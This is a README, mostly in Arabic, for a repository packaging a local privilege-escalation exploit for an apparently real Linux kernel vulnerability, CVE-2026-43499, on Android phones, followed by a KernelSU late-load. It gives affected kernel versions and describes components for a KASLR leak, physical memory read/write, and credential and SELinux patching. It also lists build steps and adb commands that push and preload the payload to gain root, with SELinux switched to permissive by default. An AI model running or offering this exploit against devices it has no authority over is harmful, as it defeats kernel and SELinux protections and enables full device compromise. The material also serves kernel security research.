
CVE-2026-43499-root-KernelSU — Updated!
تكييف لرفع الصلاحيات محليًا استنادًا إلى ثغرة النواة CVE-2026-43499، مع تكامل KernelSU المدمج. CVE-2026-43499 + وضع كسر الحماية KernelSU
CVE-2026-43499-root-KernelSU
تكييف لرفع الامتيازات محليًا يعتمد على ثغرة النواة CVE-2026-43499، مع دمج KernelSU مضمّن. يُجمَّع ويُنتَج preload.so؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع late-load (وضع الجيلبريك). يدعم توليد target.h من (xbl_config.img / vendor_boot.img) + boot.img.
تكييف لرفع الامتيازات محليًا يعتمد على ثغرة في النواة، مع دمج KernelSU مضمّن.
يُجمَّع ويُنتَج preload.so؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع late-load (وضع الجيلبريك).
يدعم توليد target.h من (xbl_config.img / vendor_boot.img) + boot.img. أو بطرق أخرى.
المشاريع المرجعية:
- Linuxoid-cn/CVE-2026-43499-Poc-Analysis
- x-spy/CVE-2026-43499-popsicle
- Colorful-glassblock/duchamp-root
[!IMPORTANT] الاستغلال غير المصرّح به للثغرات لإلحاق الضرر بأنظمة الحاسوب أو اختراقها أو الوصول إليها محظور قانونًا. يُقدَّم هذا المشروع لأغراض البحث والتعليم والتعلّم فقط، ولا يجوز استخدامه إلا في الأنظمة والبيئات التي حصلت على إذن مسبق. أي استخدام لهذا المشروع يتم على مسؤولية المستخدم الخاصة. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن أي إساءة استخدام لهذا المشروع أو عن أي أضرار أو خسائر أو عواقب قانونية ناتجة عن استخدامه.
إخلاء مسؤولية: الاستغلال غير المصرّح به للثغرات لتنفيذ أعمال تخريب أو اختراق أو وصول غير مصرّح به لأنظمة الحاسوب قد ينتهك القوانين واللوائح ذات الصلة. هذا المشروع مخصّص فقط للبحث والدراسة والاختبار الأمني في الأنظمة والبيئات المرخّصة قانونًا. أي خسائر مباشرة أو غير مباشرة أو مسؤولية قانونية أو عواقب أخرى ناتجة عن استخدام هذا المشروع أو إساءة استخدامه أو تعديله يتحملها المستخدم وحده، ولا يتحمل مؤلفو المشروع والمساهمون فيه أي مسؤولية.
النطاق المتأثر
عندما يكون إصدار نواتك {Linux Kernel}، فأنت ضمن نطاق تأثير هذه الثغرة
-
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
-
2.6.39 <= {Linux Kernel} < 6.1.175
-
6.2 <= {Linux Kernel} < 6.6.140
-
6.7 <= {Linux Kernel} < 6.12.86
-
6.13 <= {Linux Kernel} < 6.18.27
-
6.19 <= {Linux Kernel} < 7.0.4
الحالة الحالية
| Target | الحالة |
|---|---|
rodin (الافتراضي) | تم التحقق منه |
غيرها من src/targets/* | مرجعية |
بنية الدليل
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
البناء
التبعيات
- مضيف Linux
- Android NDK
- المسار الافتراضي:
~/android-ndk-r29 - أو اضبط:
ANDROID_NDK_HOME/ANDROID_NDK_ROOT/NDK_ROOT
- المسار الافتراضي:
makegit
البناء
make PROJECT=<target> -j$(nproc)
المخرجات:
build/<target>/bin/preload.so
عرض الأهداف المتاحة
make list-projects
توليد target.h
يحتوي هذا المستودع على سكربت موحّد لتوليد target مدمج مسبقًا:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py هو سكربت نقطة الدخول. يستند إلى جميع عمليات توليد target في الدليل الأب ويغلّفها، ويُخرج في النهاية ملف src/targets/<project>/target.h كاملًا ومتوافقًا مع شيفرة هذا المستودع.
لا يفرض السكربت التحقق من CONFIG_DEBUG_INFO_BTF=y في IKCONFIG. إذا تعذّر التحقق من إزاحات حقول البنية أو تخطيط entry_task في percpu، فسيطبع تحذيرًا ويواصل التوليد.
إذا كانت الصورة تفتقر تمامًا إلى BTF قابل للاستخدام، مثل ظهور:
有效 vmlinux BTF 候选不唯一: []
سيدخل المولّد في وضع الاحتياط بدون BTF (no-BTF fallback):
- يواصل استعادة إزاحات رموز الدوال/الكائنات العامة من kallsyms في
boot.imgالحالي؛ - وحدات الماكرو الخاصة بحقول البنية/التخطيط التي يتعذّر استعادتها من BTF تُورَّث من target القالب، والقالب الافتراضي هو
rodin؛ - سيُكتب تحذير (warning) في أعلى ملف الرأس المُولَّد يوضّح
without BTFوالقالب المستخدم؛ - يضمن ملف الرأس هذا قابلية الترجمة قدر الإمكان، لكن موثوقية التشغيل تتطلب التحقق على جهاز حقيقي.
يمكن تحديد قالب الاحتياط:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
1. التوليد باستخدام boot.img + profile JSON
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
يُكتب افتراضيًا في:
src/targets/<project>/target.h
يمكنك أيضًا استدعاء السكربت مباشرةً:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
يجب أن يحتوي profile.json على معلومات العناوين الفيزيائية، مثل:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
2. اكتشاف profile من جهاز ADB بصلاحيات root
لتوليد profile فقط:
make detect-profile PROFILE_OUT=profile.json
لاكتشاف profile وتوليد target فورًا:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
3. التوليد عبر (xbl_config.img / vendor_boot.img) + boot.img
يكشف السكربت أيضًا عن المداخل الأخرى التي يدعمها مولّد الدليل الأب:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
مثال
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
شكل الإخراج عند النجاح:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
يحتفظ rodin افتراضيًا بالقيم المُتحقَّق منها على أجهزة حقيقية:
#define MM_STRUCT_SZ 0x500
للتجاوز عن ذلك:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
إضافة target جديد
يُوصى بالتوليد من صورة boot وprofile متوافقين:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
يحتوي ملف رأس (header) target كامل على:
- ثوابت direct map / physical profile
- إزاحات كائن KASLR slide
- إزاحات task / cred / SELinux
- إزاحات pipe / fops / configfs
- قيم تخطيط pselect، مثل
PSELECT_WAITER_WORD_SHIFT - قيم
MM_STRUCT_SZومعاملات ضبط KernelSnitch
التشغيل
تحتوي الشيفرة المصدرية الحالية على قيم افتراضية مدمجة؛ للتشغيل العادي يكفي ضبط LD_PRELOAD وتنفيذ أي برنامج (يُقترح toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
معاملات التشغيل الافتراضية
الإعدادات الافتراضية الحالية كما يلي:
| الإعداد | القيمة الافتراضية | الوصف |
|---|---|---|
KSUD_LATE_LOAD | 1 | تنفيذ ksud late-load |
KSUD_ALLOW_SHELL | 1 | تمرير --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | اسم حزمة المدير المُمرَّر إلى ksud (يبدو غير فعّال) |
KSUD_DST | /data/local/tmp/ksud | مسار كتابة ksud المضمّن |
KSUD_SKIP_WRITE | 0 | كتابة ksud المضمّن افتراضيًا |
KSUD_DEFER_TO_PARENT | 1 | تشغيل ksud من مسار العملية الأب/الحالية المُعدَّلة (patched) |
ROOT_PATCH_SELF | 1 | تعديل (patch) العملية الحالية لتكون uid 0 |
DISABLE_SELINUX | 1 | عند root patch، كتابة حالة SELinux enforcing كـ permissive |
ROOT_EXIT_SLEEP | unset / 0 | لا sleep إضافي قبل العودة |
السلوك الفعلي الافتراضي لأمر ksud:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
لا تزال هذه المتغيرات البيئية قابلة للتجاوز في وقت التشغيل، مثل:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
إعادة استخدام ksud الذي سبق كتابته:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
التنظيف
make clean
يحتفظ make clean بملف build/embed/ksud، لأن src/ksud_blob.S يضمّنه بالطريقة التالية:
.incbin "build/embed/ksud"
إذا أدى التنظيف اليدوي إلى فقدان build/embed/ksud، يمكنك استعادته:
git checkout -- build/embed/ksud
الأسئلة الشائعة
لم يتم العثور على .incbin "build/embed/ksud"
أعد البناء بعد استعادة الحمولة المدمجة:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
مسار FOPS يُرجع success=0
يتوقع rodin استخدام تخطيط pselect البسيط/القديم:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
إذا كانت حالة الجهاز ملوثة بمحاولات فاشلة، أعد تشغيله ثم جرّب مجددًا:
adb reboot
F_SETPIPE_SZ يُرجع EPERM
عادةً ما تكون مشكلة حالة ناتجة عن محاولات فاشلة/متبقية، وإعادة التشغيل هي أسرع طريقة للتنظيف:
adb reboot
ksud يعمل لكن /proc/modules لا يعرض KernelSU
افحص السجلات:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
عند الحاجة، شغّله يدويًا في root shell:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
الترخيص
GPL-3.0. انظر LICENSE.